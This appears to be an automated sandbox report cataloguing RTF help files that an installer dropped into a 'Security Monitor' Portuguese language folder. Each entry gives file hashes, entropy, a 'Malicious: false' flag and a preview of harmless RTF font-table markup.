Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-LB8CH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-LIAVF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-Q5JCQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-QNL0J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-T703I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-UAI05.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	49143
Entropy (8bit):	5.0303602087233
Encrypted:	false
SSDEEP:	768:qOF2w9Rll41gJAqxAUZ2ipwQduXLwzq3PtDxdMNzx9AW94V2sQSuUNKKLz5cZecD:qOhKZkos
MD5:	45FFBE8D6F213774FC03CED4B2C6DE2F
SHA1:	B206C836CD793CB43A90FB7F55F20BCD0E588F45
SHA-256:	D4928483BCC0FF7D15BD5B6B6669B82645EA4EC7C454A1F3BCDAFE0E984466BF
SHA-512:	3153444C8413A6E6F6B4B1D0603E18D282A1B5DCAAC064FEFF2F8D9CF63AF5C7F7DDFBC77F26789384FF0E056741C615158570FD0B65114CE493692516316086
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44111
Entropy (8bit):	5.034804043043812
Encrypted:	false
SSDEEP:	768:jaOfIRlU4LgJAqxAUZa25iMSf3TaCkqooYidqm4eEHEvsEJ5sCXSIKEjZHHuJfM:jap7NkfM
MD5:	D6C4CE3A479398A0C89448CF3D344268
SHA1:	03399F4D355A631C8504B35AA82238E444D2A75E
SHA-256:	56DA26981FD5603C5BB388D63B900EF90B42234F9FA6EA48BC7650BC609CC187
SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
